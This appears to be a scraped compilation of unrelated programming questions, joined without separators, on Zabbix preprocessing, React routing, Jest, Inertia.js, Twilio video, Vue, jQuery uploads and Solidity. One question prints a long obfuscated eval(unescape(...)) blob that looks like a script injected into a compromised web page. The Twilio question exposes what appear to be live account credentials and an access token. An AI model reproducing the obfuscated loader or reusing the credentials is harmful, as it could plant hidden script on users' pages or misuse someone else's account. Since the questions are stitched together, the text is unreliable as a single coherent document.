Zabbix 6.0 Предобработка JavaScript

Сделал Шаблон для мониторинга RAID контроллера Adaptec.
У шаблона создал элемент данных (info), который собирает информацию. Его полученные данные (сокращенно):

Controllers found: 1
Controller information
   Controller Status                        : Optimal
   Channel description                      : SAS/SATA

Создал зависимы элемент данных от элемента info, который на первом проходе предобработки (регулярное выражение) ищет значение “Controller Status”:

Controller Status +: (.*)

А на втором проходе (JavaScript) присваивает значение:

if (value == "Optimal") {
    value = 1;
}
else { value = 0;
}
return value;

Но на выходе я всегда получаю 0, а не 1. Хотя тест проходов возвращает 1, но в реале у элемента данных присваивается значение 0. Первый проход возвращает Optimal (проверил отдельно, удалял второй проход), но второй почему-то всегда 0. Где я ошибся? Подскажите, пожалуйста

Content is not showing from the specific page while using the react-router-dom

I create an app having the following files, But my problem is that while using react-router-dom, The contents in pages like jobs.js, and home.js are not displaying. I reffered similar questions in stackoverflow, but none of them are working for me!

App.js

<BrowserRouter>
    <div className="App container">
      

      <nav className='navbar navbar-expand-sm bg-light navbar-dark'>
        <ul className='navbar-nav'>
          <li className='nav-item m-1'>
            <NavLink className='btn btn-light btn-outline-primary' to="/home">
              Home
            </NavLink>
          </li>
          <li className='nav-item m-1'>
            <NavLink className='btn btn-light btn-outline-primary' to="/jobs">
              Jobs
            </NavLink>
          </li>
          <li className='nav-item m-1'>
            <NavLink className='btn btn-light btn-outline-primary' to="/jobdetails">
              Job Details
            </NavLink>
          </li>
        </ul>
      </nav>
      <Routes >
        <Route path='/home' element={<home/>} />
        <Route path='/jobs' component={jobs} />
        <Route path='/jobdetails' component={jobdetails} />
      </Routes >
    </div>
    </BrowserRouter>

jobs.js

import React,{Component} from "react";

export class jobs extends Component{
    render(){
        return(
            <div>
                <h3>This is Jobs Page</h3>
            </div>
            
        )
    }
}

home.js

import React,{Component} from "react";

export class home extends Component{
    render(){
        return(
            <div>
                <h3>This is Home Page</h3>
            </div>
        )
    }
}

Output Image

I need that, when my user inputs a value of time that my javascript code alerts the user that time has finished

Let me explain. I want that my program do the following:

1º Ask the user to enter a value of time in seconds
2º Start a countdown from the value that the user has finishedand show him
3º when it finishes, it alerts the user that the time has finished.

This is my code so far (I do not know how to do it, I have tried many times), I did it with prompt and alert but maybe using html there is a solution

let counter= prompt("Please, select in how much time (in seconds) do you want me to alert you")

{
    SetTimeOut(() =>
     {
        (console.log("Alert: you have completed your time"), counter) 
     })
}

while (setTimeout>0)
    {
        alert("your time finishes in: "+ counter + "seconds")

    }

How to show an element on scroll down with javascript?

I am wanting to show a button on my website when a user scrolls down on their mobile by 200px. But, I don’t want the button to disappear when they scroll back to the top…it stays their until they refresh or navigate to another webpage.

I have the following at the moment which makes the button disappear when the user scrolls back up. How do i amend the code so the button does not disappear on scrolling up?

Note – I am using WordPress. The below Javascript is in a HTML block and the CSS is within the Custom CSS for the button.

        <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script>
    var offset = 200
    $(window).on('load scroll', function(){
        
        if( $(window).scrollTop() > offset ){
            $('body').addClass('show')
        }else{
            $('body').removeClass('show')
        }
    })
    </script>
selector{
    opacity: 0;
    transition: all 0.3s ease-in-out;
}
body.show selector{
    opacity: 1;
}

How to test code with Jest that uses readonly properties of mocked dependencies?

I want to unit test this TS code with Jest:

MyClass.ts

import Dependency from "./Dependency";

export default class MyClass {
    public constructor(private dependency: Dependency) {}

    public DoIt(): string {
        return this.dependency.MyProp;
    }
}

It uses this class:

export default class Dependency {
    public get MyProp(): string {
        return "A string";
    }
}

This is my test so far:

import MyClass from "./MyClass";
import Dependency from "./Dependency";

jest.mock("./Dependency"); // Here we do auto mocking

it("connects with the server for match info messages", () => {
    // Arrange
    const dependency = new Dependency();
    const sut = new MyClass(dependency);
    // dependency.MyProp = "Another string"; // Cannot assign to 'MyProp' because it is a read-only property.ts(2540)
    jest.spyOn(dependency, "MyProp", "get").mockReturnValueOnce("Another string"); // Error: MyProp property does not exist

    // Act
    const retval = sut.DoIt();

    // Assert
    expect(retval).toStrictEqual("Another string");
});

As noted in the comments, I can’t properly mock the MyProp property. At runtime, it’s undefined because auto mocking doesn’t see it as a function so it ignored it.

Question: How to properly mock public properties on mocks without giving up auto mocking?

Standalone component with its own data in Inertia.js?

I am playing with inertia.js and one thing I don’t really understand is how to manage data across components.

For instance, I have a component that shows the number of visits to the page:

<template>
   <div>{{visits}}</div>
</template>
<script setup>
defineProps({visits: Number})
</script>

On the backend I do have this:

Route::get('/visit', function () {
    return inertia('page', { Visits::sum() });
});

However when I load my main page:

<template> 
   <h1>Main</h1>
   <Visits/>
</template>

it would not fetch the visits data. From what I understood, with Inertia the parent component is responsible for loading all child data:

<template> 
   <h1>Main</h1>
   <Visits :boilerplateData="visits"/>
</template>
<script setup>
   defineProps({visits: Number, component1Data: Object, component2Data: Object ...})
</script>

Am I missing something?

How do I deobfuscate this JS

can someone deobfuscate this please?

eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%64%30%64%37%34%33%63%30%37%31%32%28%27') + '%39%2b%42%50%4d%55%53%54%42%28%6d%7d%6d%69%36%09%0b%34%69%7c%6b%69%36%0a%03%22%25%34%6e%66%6b%65%36%0b%0f%28%25%29%22%39%67%61%75%6b%21%6d%6c%66%7a%70%6e%76%3a%2a%71%75%6e%2e%30%26%3b%07%0f%29%22%25%28%3a%6e%6f%75%6b%24%6b%6b%6a%6e%3d%27%7e%6d%66%71%71%79%76%71%2a%25%6c%73%6b%7c%61%6f%7c%3e%2a%7d%6e%6c%71%61%3d%61%6f%70%6a%6d%66%27%7d%6e%6c%71%61%20%3b%07%0c%21%28%21%28%38%71%63%71%65%65%3b%34%37%75%63%75%64%63%3b%07%0f%29%22%25%28%3a%6d%63%6f%65%24%77%6f%69%36%20%70%60%77%73%7c%64%7f%70%25%63%60%78%6c%27%28%6e%73%6f%67%37%26%6d%7c%71%79%77%3f%39%37%6a%26%71%63%6a%6e%67%6c%27%67%74%67%37%70%7a%6a%61%6f%6b%6b%69%7c%33%3d%30%37%35%3a%30%6c%67%34%30%3d%3d%30%61%6b%64%67%31%31%6e%60%32%6c%62%6a%30%67%6d%30%64%33%37%31%31%61%31%31%6b%67%32%3b%28%71%66%68%2a%24%71%73%75%6e%3d%27%63%69%62%61%66%39%7c%2a%63%60%78%6c%27%36%09%0b%28%21%28%24%39%64%6e%67%6f%25%60%74%66%6e%3e%2a%71%71%73%69%6e%2c%60%7d%73%23%28%73%6f%68%3a%2a%70%7d%79%69%6f%73%69%6f%66%7c%26%25%7c%7e%79%65%3a%2a%72%66%70%75%39%61%70%7d%27%29%33%3b%07%0c%21%28%3d%39%6c%62%6b%61%37%0d%0f%28%26%3d%6a%70%6c%7f%3b%07%0f%29%22%25%28%3a%22%27%2e%28%38%61%63%73%29%69%61%37%24%67%79%73%67%26%3b%07%0f%29%22%25%28%26%21%34%67%79%76%6a%28%66%6c%76%6e%79%68%3e%2a%23%36%0b%0f%28%25%29%22%25%28%26%21%34%6a%66%74%72%7c%25%7d%79%75%6f%39%23%7c%66%70%70%27%28%75%65%61%60%6f%6e%70%64%65%6f%76%3a%2a%4b%6a%6d%62%2a%26%6a%6c%3e%2a%6a%66%67%62%2b%3c%0a%02%26%21%28%21%28%24%25%28%39%62%6c%75%7f%72%21%7c%7a%78%63%3a%2a%71%6e%7a%71%2a%26%71%64%62%6d%63%6d%79%69%6d%65%77%37%24%46%67%62%63%68%27%28%6e%6d%3d%27%67%65%6a%64%23%36%0b%0f%28%25%29%22%25%28%26%21%34%6a%66%74%72%7c%25%7d%79%75%6f%39%23%7c%66%70%70%27%28%75%65%61%60%6f%6e%70%64%65%6f%76%3a%2a%4a%6e%77%70%6b%6f%66%2a%21%63%60%3a%2a%6a%6e%77%70%6b%6f%66%2a%3f%07%0e%25%28%25%29%22%25%28%26%3d%63%6f%78%73%71%28%71%72%72%62%37%24%74%7f%63%67%6f%71%2a%25%67%61%6a%6f%39%23%5d%76%6a%6b%6e%7c%27%29%69%61%37%24%74%7f%63%67%6f%71%2a%3b%06%08%25%28%26%21%28%21%34%35%63%79%77%66%3c%0a%02%26%21%28%21%34%35%61%63%73%37%22%2a%27%38%0e%02%21%28%24%25%34%61%62%74%25%6d%6a%62%7d%74%37%26%67%6b%60%64%6b%77%79%71%6f%6c%23%36%0b%0f%28%25%29%22%25%28%3a%65%63%77%28%61%69%6b%70%7c%3d%27%6d%77%6f%7c%62%63%6a%62%7a%27%37%0d%0f%28%26%21%28%21%28%24%25%34%61%62%74%25%6d%6a%62%7d%74%37%26%70%6d%77%6e%65%6b%2a%38%0e%02%21%28%24%25%28%25%29%22%25%28%3a%65%63%77%28%61%69%6b%70%7c%3d%27%7d%63%73%6f%66%66%2b%6d%6f%66%6d%65%77%2a%38%0e%02%21%28%24%25%28%25%29%22%25%28%26%21%34%65%63%72%25%6d%69%6a%77%70%37%24%74%6d%73%6f%63%6b%27%6d%6e%61%61%6f%74%2e%64%66%6e%70%27%36%0a%03%22%25%28%26%21%28%21%28%24%25%28%25%29%22%39%6c%6d%77%28%64%64%67%70%7d%3a%2b%77%60%7a%61%66%66%2e%60%63%66%6c%62%7b%2d%67%7f%72%75%79%6f%28%61%69%79%70%6e%20%3b%34%37%65%63%77%36%0b%0f%28%25%29%22%25%28%26%21%28%21%28%24%25%28%39%6d%69%73%28%63%6d%6b%74%7d%3b%27%7d%60%7b%65%62%66%29%69%6f%62%6c%63%77%27%67%7e%76%71%79%68%21%67%62%70%6f%6a%63%7f%6e%20%3b%34%37%65%63%77%36%0b%0f%28%25%29%22%25%28%26%21%28%21%28%24%25%28%39%6d%69%73%28%63%6d%6b%74%7d%3b%27%7d%60%7b%65%62%66%29%69%6f%62%6c%63%77%27%67%7e%76%71%79%68%21%67%6a%66%6f%6a%63%7f%6e%20%3b%34%37%65%63%77%36%0b%0f%28%25%29%22%25%28%26%21%28%21%28%24%39%39%61%62%74%3b%07%0c%21%28%21%28%24%25%28%25%29%22%25%28%3a%65%63%77%28%61%69%6b%70%7c%3d%27%7d%63%73%6f%66%66%2b%6d%6f%66%6d%65%77%27%74%6a%61%69%7c%26%3b%07%0f%29%22%25%28%26%21%28%21%28%24%25%28%25%29%3e%61%63%70%21%6d%6d%6b%71%70%37%27%7c%67%77%6f%61%6f%27%69%6f%67%61%6f%77%26%65%69%64%6d%71%7d%6a%7d%26%3b%34%34%6d%69%73%36%09%0b%28%21%28%24%25%28%25%29%22%25%28%26%21%28%3d%6c%6f%73%28%60%65%61%70%7d%39%23%7d%64%7a%63%62%66%2a%61%65%66%6c%61%73%27%66%64%68%6e%78%70%62%77%27%36%3a%30%6c%6a%7e%3a%0a%02%25%29%22%25%28%26%21%28%21%28%24%25%28%25%35%66%6e%7e%26%64%64%62%7d%71%3a%2a%70%6c%70%62%6f%68%2e%60%66%6b%60%62%7a%2a%6e%6e%69%63%76%74%63%74%2a%3a%39%39%61%62%74%3b%07%0c%21%28%21%28%24%25%28%25%29%22%25%28%3a%30%6c%6a%7e%3a%0a%02%25%29%22%25%28%26%21%28%21%28%38%34%6c%6e%7f%3c%0a%02%26%21%28%21%28%24%25%28%25%29%3e%61%63%70%21%6d%6d%6b%71%70%37%27%7c%67%77%6f%61%6f%27%63%79%60%7e%2a%3b%06%08%25%28%26%21%28%21%28%24%25%28%25%29%3e%61%63%70%21%6d%6d%6b%71%70%37%27%7c%67%77%6f%61%6f%27%63%79%60%7e%27%6e%7d%65%6a%28%6a%66%6e%75%2a%3a%0a%02%25%29%22%25%28%26%21%28%21%28%24%25%28%25%35%66%6e%7e%26%64%64%62%7d%71%3a%2a%66%79%72%2a%7c%6d%75%64%66%2a%3a%0a%02%25%29%22%25%28%26%21%28%21%28%24%25%28%25%29%22%39%7d%76%62%66%3f%34%35%70%78%66%67%3c%0a%02%26%21%28%21%28%24%25%28%25%29%22%25%28%3a%65%63%77%28%61%69%6b%70%7c%3d%27%7d%63%73%6f%66%66%2b%67%79%61%72%2d%6e%7c%61%6e%2a%3f%07%0e%25%28%25%29%22%25%28%26%21%28%21%28%24%25%34%61%62%74%25%6d%6a%62%7d%74%37%26%66%78%75%26%64%74%7a%69%23%36%0e%02%24%25%28%25%29%22%25%28%26%21%28%21%28%24%25%28%39%6d%69%73%28%63%6d%6b%74%7d%3b%27%6b%75%79%2d%63%79%74%6e%27%68%7a%75%72%78%27%37%0d%0f%28%26%21%28%21%28%24%25%28%25%29%22%25%28%26%21%28%21%34%6f%6b%78%72%7d%22%71%73%76%66%37%23%7c%63%7d%7c%27%29%67%69%6b%73%74%37%23%6b%74%75%27%63%78%70%6a%27%63%70%66%75%7a%75%69%2a%25%79%6e%66%6d%61%69%79%6d%6c%63%77%37%27%4c%73%74%65%6d%66%7d%23%28%6f%61%37%27%67%61%6a%6f%24%21%6d%6d%6b%71%70%37%27%62%6c%75%7f%72%23%36%0e%02%24%25%28%25%29%22%25%28%26%21%28%21%28%24%25%28%39%38%66%6e%7e%38%0e%02%21%28%24%25%28%25%29%22%25%28%26%21%28%21%28%24%0a%02%25%29%22%25%28%26%21%28%21%28%24%25%28%25%29%22%39%6c%6d%77%28%6a%6c%3b%27%7d%71%6a%76%72%7d%24%3f%07%0b%28%24%25%28%25%29%22%25%28%26%21%28%21%28%24%25%28%25%4c%73%74%65%6d%66%7d%21%63%6a%73%6b%69%62%66%25%58%6a%66%6b%74%6f%24%71%7a%7e%29%61%6c%6b%6d%6f%2b%0e%02%24%25%28%25%29%22%25%28%26%21%28%21%28%24%25%28%39%38%66%6e%7e%38%0e%02%21%28%24%25%28%25%29%22%25%28%26%21%28%21%28%24%39%6c%6e%7f%22%60%64%65%74%7d%3e%2a%67%75%78%2a%6f%73%77%67%29%68%7a%70%7f%74%25%6a%72%7d%76%74%66%73%23%36%0e%02%24%25%28%25%29%22%25%28%26%21%28%21%28%24%25%28%25%29%3e%6e%66%76%76%7c%21%7c%7f%75%6f%3a%2b%77%72%6a%69%6a%7c%23%28%6a%66%67%62%36%20%50%7f%64%6e%63%75%2a%24%6e%6c%3a%2b%77%72%6a%69%6a%7c%23%28%61%69%6b%70%7c%3d%27%6b%76%71%27%67%79%76%6a%27%67%7e%76%71%79%68%23%28%70%66%61%69%63%60%64%3d%27%7d%71%63%67%6a%7c%70%62%6c%2d%22%20%3b%07%0c%21%28%21%28%24%25%28%25%29%22%25%28%26%21%28%21%34%35%61%63%73%37%0d%0f%28%26%21%28%21%28%24%25%28%25%29%22%25%28%3a%30%6c%6a%7e%3a%0a%02%25%29%22%25%28%26%21%28%21%28%24%25%34%34%6d%69%73%36%09%0b%28%21%28%24%25%28%25%29%22%25%34%37%65%63%77%36%0b%0f%28%25%29%22%25%28%26%21%34%30%6c%6f%73%36%0a%03%22%25%28%26%21%28%3d%39%60%6e%7e%3b%06%08%25%28%26%21%34%30%6c%6f%73%36%0a%03%22%25%28%26%0e%02%0e%02%24%25%34%34%6b%73%61%73%38%0e%02%21%28%38%70%6d%77%62%72%71%28%73%73%6d%3e%2a%6c%71%7c%75%7c%38%34%39%63%70%6c%66%26%6e%76%7f%62%7b%79%2b%6d%77%6e%39%6b%7b%73%62%7a%7e%26%30%2b%3b%28%32%26%6e%63%6a%2b%62%70%2b%22%71%73%76%66%37%23%7c%63%7d%7c%34%63%61%73%6b%73%64%7a%6a%78%70%27%36%39%38%77%60%7a%6d%71%7c%3f%28%0b%0f%28%25%35%77%60%7a%6d%71%7c%21%7d%76%60%37%27%61%76%71%78%73%3b%39%30%6d%60%6b%62%70%27%67%69%79%71%65%6e%6d%6b%76%62%26%60%78%6d%34%6b%6c%62%70%30%64%6f%67%7d%34%66%61%71%6f%74%6a%6b%6d%63%7e%62%39%35%27%39%3c%26%3f%30%62%74%39%6b%66%7c%62%7b%69%66%64%6d%7b%6f%2f%67%6f%6b%26%6f%7c%20%3b%34%37%74%6d%73%63%74%71%36%25%06%08%25%28%3a%74%6d%73%63%74%71%36%0a%03%22%25%28%26%77%6b%73%28%7d%62%6a%6d%78%73%68%5f%54%4d%28%3e%28%26%6d%7c%71%79%77%3f%39%37%65%63%74%6d%75%77%6c%2b%6c%73%6a%39%65%71%63%30%71%63%67%60%74%78%6f%70%39%3d%3a%3d%3a%33%3f%3e%3c%37%3e%35%36%38%3f%38%38%32%3f%35%4c%6b%60%51%61%51%47%70%36%38%46%44%61%7c%67%66%7d%54%6d%7c%45%73%78%65%71%70%3c%3e%41%51%3b%55%38%6e%67%41%6a%51%6e%61%6f%52%51%50%6e%7a%5d%63%7f%79%64%2b%53%78%62%3f%37%31%58%4a%77%4a%48%71%42%40%62%43%2b%0d%0f%28%26%21%28%77%6b%76%25%71%62%6b%6a%74%79%6b%56%7d%66%7a%6a%66%67%62%29%3d%25%2a%54%43%28%73%6f%62%77%6f%70%61%65%77%25%2b%23%07%0b%28%24%25%28%73%6a%70%25%71%61%63%60%70%79%69%46%7e%66%7d%61%77%28%39%21%2a%69%7c%70%75%7d%3f%38%33%60%6c%68%2f%6c%6a%7d%61%74%7a%61%6a%72%75%26%63%70%67%30%6b%70%71%6b%60%61%6d%62%66%72%74%39%3a%33%31%3d%33%33%3a%37%32%33%3d%38%3f%34%38%37%33%3d%34%32%39%31%38%34%34%3b%35%31%3f%36%3b%37%3f%34%30%3c%32%30%6a%66%6b%6b%62%7a%2b%79%6c%6c%2a%09%0b%07%0b%07%0e%0a%02%25%29%22%25%2c%2e%67%7f%6f%6d%70%6e%79%6b%21%29%25%75%09%0b%28%21%28%24%25%28%25%29%26%2d%21%23%74%7f%63%67%6f%71%21%2e%27%67%69%63%63%6c%20%67%7f%6a%60%7c%6e%78%6c%2d%6f%2d%21%75%0e%02%24%25%28%25%29%22%25%28%70%62%7a%21%66%67%6a%6f%25%36%22%21%20%24%24%66%62%67%63%27%23%2b%7f%61%69%20%2d%3c%07%0b%28%24%25%28%25%29%22%25%7e%65%73%28%6e%6b%6f%69%28%3a%29%26%2d%2a%23%6e%6b%6a%64%26%2e%26%73%6a%6e%2d%23%3b%0e%02%21%28%24%25%28%25%29%22%73%6b%74%21%67%66%7d%71%66%61%62%29%3d%25%2c%2e%23%2d%6e%6f%71%70%6b%6c%6e%20%2e%26%70%62%64%29%23%39%0a%02%25%29%22%25%28%26%21%28%25%26%74%74%7d%71%21%7b%62%6a%6e%70%79%6c%5f%56%49%24%0a%03%22%25%28%26%7c%2a%64%79%6a%71%6f%6b%7d%20%3f%28%24%3f%28%41%60%63%77%6f%25%36%3d%3a%37%39%3e%37%3e%37%3b%3a%37%3a%36%3d%3a%37%39%3e%37%3e%37%3b%3a%37%3a%36%3d%3a%54%68%3f%28%44%79%75%68%63%62%7c%38%25%2a%26%2c%28%6f%6b%6b%62%28%28%29%20%59%66%38%21%4f%6e%6b%6f%69%32%25%2b%22%28%28%69%62%63%6d%28%29%25%2a%59%67%3c%25%47%61%74%7d%62%61%63%3f%28%27%29%2f%25%67%61%74%7d%62%61%63%25%25%25%2b%5e%6b%36%26%41%60%66%7a%63%25%37%3a%36%3d%3a%37%39%3e%37%3e%37%3b%3a%37%3a%36%3d%3a%37%39%3e%37%3e%37%3b%3a%37%3a%36%5e%6b%69%26%60%2a%2d%28%26%72%7d%62%7b%6c%66%67%61%23%32%21%71%63%67%60%74%78%6f%52%7d%61%73%66%62%67%63%29%28%27%6a%74%66%7c%65%73%69%76%7a%68%27%32%25%70%65%67%60%77%70%65%42%7e%67%71%6b%77%76%29%0a%02%26%21%28%21%28%24%25%28%7a%22%3f%0a%02%26%21%28%21%77%2f%38%07%0f%06%08%25%28%26%21%6e%76%66%61%71%63%74%67%22%70%7f%64%6e%63%75%7c%63%61%20%2e%74%0d%0f%28%26%21%28%21%28%24%25%6c%74%6c%75%6a%6f%68%75%26%68%6f%70%42%64%62%66%65%6b%7c%44%7a%43%65%20%2d%70%7c%66%7d%75%70%21%2d%2f%7d%75%73%68%62%26%61%62%77%75%64%65%7a%28%3e%28%26%67%64%74%6c%6f%27%07%0c%21%28%21%28%7b%0a%02%25%29%3e%34%7d%63%73%63%71%7c%3a%0a%02%39%38%6a%71%67%6a%3f16211091%34%39%37%30%39%30%39' + unescape('%27%29%29%3b'));```

add participant for the twilio room

Twilio Room was created using the below code, but not able to produce any output, it is showing everything is working fine, but not able to know how can i proceed forward so I can add multiple participants and can make a video call for each other. it asks for the camera and mike permission but not able to see the video. thanks in advance if you see any mistake please ignore it


 require_once ./vendor/autoload.php;
 
 use TwilioRestClient;
 // use TwilioTwiMLVoiceResponse;
 // Find your Account SID and Auth Token at twilio.com/console
 // and set the environment variables. See http://twil.io/secure
 $sid = "AC3c0f477f066042308c088574dae7bf9a";
 $token = "8c7e575ac24e6e6f924bbaa22c42bbb4";
 $twilio = new Client($sid, $token);
 
 
 $room = $twilio->video->v1->rooms
                           ->create([
                                        "statusCallback" => "http://example.org",
                                        "type" => "peer-to-peer",
                                        "uniqueName" => "DailyStandup227"
                                    ]
                           );
 
 
 
 
 print_r($room);

*After this I generated the access token


   <?php
  // Get the PHP helper library from https://twilio.com/docs/libraries/php
  require_once './vendor/autoload.php';// Loads the library
  use TwilioJwtAccessToken;
  use TwilioJwtGrantsChatGrant;
  use TwilioJwtGrantsVideoGrant;
  // Required for all Twilio access tokens
  $twilioAccountSid = 'AC3c0f477f066042308c088574dae7bf9a';
  $twilioApiKey = 'SKb30ca8d445b8bd68479c54c2544fa1b4';
  $twilioApiSecret = 'ixmFdysnjHRuXgXCTOQwl4I4OIsPa27l';
  
  // Required for Chat grant
  $roomName = 'DailyStandup221';
  // choose a random username for the connecting user
  $identity = "amirIshaque";
  
  // Create an access token, which we will serialize and send to the client
  $token = new AccessToken(
      $twilioAccountSid,
      $twilioApiKey,
      $twilioApiSecret,
      3600,
      $identity
  );
  
  // Create Voice grant
  $videoGrant = new VideoGrant();
  $videoGrant->setRoom($roomName);
  
  // Add grant to token
  $token->addGrant($videoGrant);
  
  
  // render token to string
  echo $token->toJWT();




** then by using the above access token and room **

      
  <!DOCTYPE html>
  <html lang="en">
    <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <meta http-equiv="X-UA-Compatible" content="ie=edge">
      <title>My Website</title>
      <!-- <link rel="stylesheet" href="./style.css"> -->
      <!-- <link rel="icon" href="./favicon.ico" type="image/x-icon"> -->
    </head>
     <body>
      <main>
          <h1>Welcome to My Website</h1>  
          <div id="container"></div>
          <Response>
    <Dial><Conference>DailyStandup18</Conference></Dial>
  <Response>
      </main>
      <!-- <script src="./twilio-video.min.js"></script> -->
  <script src="./twilio-video.min.js"></script>
  
  <script>
      const Video = Twilio.Video;
      console.log('$TOKEN',Video);
      Video.connect('eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImN0eSI6InR3aWxpby1mcGE7dj0xIn0.eyJqdGkiOiJTS2IzMGNhOGQ0NDViOGJkNjg0NzljNTRjMjU0NGZhMWI0LTE2NjY0NDcyMDMiLCJpc3MiOiJTS2IzMGNhOGQ0NDViOGJkNjg0NzljNTRjMjU0NGZhMWI0Iiwic3ViIjoiQUMzYzBmNDc3ZjA2NjA0MjMwOGMwODg1NzRkYWU3YmY5YSIsImV4cCI6MTY2NjQ1MDgwMywiZ3JhbnRzIjp7ImlkZW50aXR5IjoiYW1pcklzaGFxdWUiLCJ2aWRlbyI6eyJyb29tIjoiRGFpbHlTdGFuZHVwMjIxIn19fQ.f-yld_8HU_HX6f1NVuwxSOIq3KEcuh6sWWhms6bar14', { name: 'DailyStandup227' }).then(room => { 
          console.log(room);
          console.log('Connected to Room "%s"', room.name);
          console.log(room.participants);
          room.participants.forEach(participantConnected);
  
           room.on('participantConnected', participantConnected);
          room.on('participantDisconnected', participantDisconnected);
          room.once('disconnected', error => room.participants.forEach(participantDisconnected));
          alert('5');
      });
  
  // Twilio.Video
  //   .createLocalVideoTrack()
  //   .then(track => {
  //     const container = document.getElementById('container');
  //     container.appendChild(track.attach());
  // });
  function participantConnected(participant) {
    console.log('Participant "%s" connected', participant.identity);
    alert('1');
    const div = document.createElement('div');
    div.id = participant.sid;
    div.innerText = participant.identity;
  
      participant.on('trackSubscribed', track => trackSubscribed(div, track));
    participant.on('trackUnsubscribed', trackUnsubscribed);
  
    participant.tracks.forEach(publication => {
      if (publication.isSubscribed) {
        trackSubscribed(div, publication.track);
      }
    });
  
    document.body.appendChild(div);
  }
  
  
  function participantDisconnected(participant) {
      alert('2');
    console.log('Participant "%s" disconnected', participant.identity);
    document.getElementById(participant.sid).remove();
  }
  
  function trackSubscribed(div, track) {
      alert('3');
    div.appendChild(track.attach());
  }
  
  function trackUnsubscribed(track) {
      alert('4');
    track.detach().forEach(element => element.remove());
  }
  
  </script>
    <!-- <script src="index.js"></script> -->
    </body>
  </html>

Vuejs3 + Axios + Express – Display data from array/object

I am trying to output a single post from an express API using Vue.

Problem is that the object/array returned (post.value) does not display the values that I declare in the template (post.title & post.body).

Any help would be greatly appreciated.

<template>
<div v-if="post">
    <h2>{{ post.title }}</h2>
    <p>{{ post.body }}</p>
</div>
</template>

<script>
import axios from 'axios'
import { ref } from 'vue'
import { useRoute } from 'vue-router'

export default {
    name: 'BlogPostView',
    setup() {
        const post = ref([])
        const route = useRoute()
        const error = ref('')

        const load = async (id) => {
            
            try {
                await axios.get(`http://localhost:5000/api/posts/${id}`)
                    .then((response) => {
                        post.value = response.data
                        console.log(post.value)
                        console.log(response.data)   
                    })
            } catch(err) {
                error.value = err.message
            }            
        }

        load(route.params.id)

        return { post, error }
    }
}
</script>

Just for reference:

console.log(params.value) got no errors, and outputs the following:

Proxy {0: {…}}[[Handler]]: Object[[Target]]: Array(1)[[IsRevoked]]: false

JavaScript progress bar won’t animate and submit

How can I get both the progress bar to animate then have the form submit?

This script below will show the progress bar in the in the modal and after the file is uploaded the screen will refresh. However, it does not seem to execute the ajax animation for the progress bar.

If I comment out the “//<-this” lines and uncomment $('form').on('submit', function(event) { the progress bar will animate however the form never submits.

I found this post (jQuery – prevent default, then continue default) and was hopeful to use
$(this).submit();
But this sends it into an infinite loop and never submits.

{% extends "_layout.html" %}
{% block main %}

<section class="upload_file">

  <div class="title">
      Upload File
  </div>

  <div class="apple_body">

    <div class="common_primary_div add_xml_div ">

      <label>Upload File</label>

      <form method="POST" action="" enctype="multipart/form-data" id="form_apple_upload">

          <div class="apple_file">
              <input type="file" name="apple_health_data" accept=".zip, .csv, .iso" class="form-control"  >
          </div>
          
          <div class="submit_element_right">
              <input type="submit" value="Add Apple Data" class="btn btn-secondary btn_custom01" onclick="update()">
          </div>
      </form>
    </div>
  </div>
</section>
        

        <!-- ADD DATA Modal -->
<div class="modal fade apple_add_data_modal" id="addDataModal" tabindex="-1" aria-labelledby="largeModal" aria-hidden="true">
    <div class="modal-dialog apple_add_modal_dialog" role="document">
      <div class="modal-content apple_add_modal_content">
        <div class="modal-header">
          <h4 class="modal-title" id="myModalLabel">Loading File</h4>
          <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
        </div>
        <div class="modal-body">
        
          <p>Upload status bar</p>

          <div class="progress">
            <div class="progress-bar progress-bar-striped progress-bar-animated" role="progressbar" aria-valuenow="0" 
                aria-valuemin="0" aria-valuemax="100" style="width: 75%;"
                id="progressBar">0</div>
          </div>

        <p>This message will disappear when the app has successfully </p>
        </div>
        <div class="modal-footer">

        </div>
      </div>
    </div>
  </div>


<script>
  function update() {
    $('#addDataModal').modal('show'); 
  }
</script>

<script>
  // $('form').on('submit', function(event) {
    var on_submit_function = function(event){//<-this
      event.preventDefault();

      var formData = new FormData($('form')[0]);

      $.ajax({
        xhr: function() {
          var xhr = new window.XMLHttpRequest();

          xhr.upload.addEventListener('progress', function(e) {
            if (e.lengthComputable) {
              var percent = Math.round(e.loaded /e.total * 100);
              $('#progressBar').attr('aria-valuenow', percent).css('width', percent + '%').text(percent +'%')
            }
          });
          return xhr;
        },
        type : 'POST',
        url : '/',
        data : formData,
        processData : false,
        contentType : false,
          });
      
      $(this).off('submit', on_submit_function);//<-this
      $(this).submit();//<-this
    };//<-this
    $('form').on('submit', on_submit_function); //<-this

  // });

</script>

{% endblock %}

How can I implement an array in a struct and initialize it?

I’m having some trouble figuring out a problem in my code. Basically, I have a contract that represents games using structs. I store some details there like the gameId, required buyin to play, etc. But I also want to store player addresses that interact with that specific game: (in an array in the game struct, preferably). I try to append them to the array on initialization but that doesn’t work – I assume due to the static length of the array. I’ve read online about incrementing the length of the players array as they are not dynamic, but honestly I’m not sure how to implement that in this case.
Here is my code for the Game struct:

struct Game {
    address host; // Establishes host function access
    uint gameId; // Allows different games to be played concurrently
    uint buyinRequirement; // To establish minimum buyin amount for a game
    uint etherWithdrawalReqs; // Tracks # of ether in total from requests. If >/< than contract balance, throws error        
    uint gamePot; // Tracks how much ether is in the game's pot
    uint8 tableWithdrawalReqs; // Tracks how many players have requested a withdrawal
    uint8 playerCount; // Tracks # of of players in a game
    uint8 verifiedWithdrawalReqs; // Tracks # of verifs that withdrawal requests are valid
    bool endedBuyin; // Host function to end buyin stage
    address[] playerList; // Stores player addresses
}

Here is my attempt to initialize the struct:

function initializeGame(string memory name, uint buyinReq) public payable {
    idToGame[gameNumber] = Game(msg.sender, gameNumber, buyinReq, 0, 0, 0, 0, 0, false, playerList.push(msg.sender));
    games.push(idToGame[gameNumber]);
}  

This is the error I get:

DeclarationError: Undeclared identifier.

–> contracts/YourContract.sol:104:93:
|
104 | idToGame[gameNumber] = Game(msg.sender, gameNumber, buyinReq, 0, 0, 0, 0, 0, false, playerList.push(msg.sender));
| ^^^^^^^^^^

Error HH600: Compilation failed

Ultimately, I just need to track addresses tied to a specific game so I can render those addresses to the front end with some other information. If there is an easier way to do this and I’m just overlooking something due to tunnel vision, I’m all ears for alternative solutions.
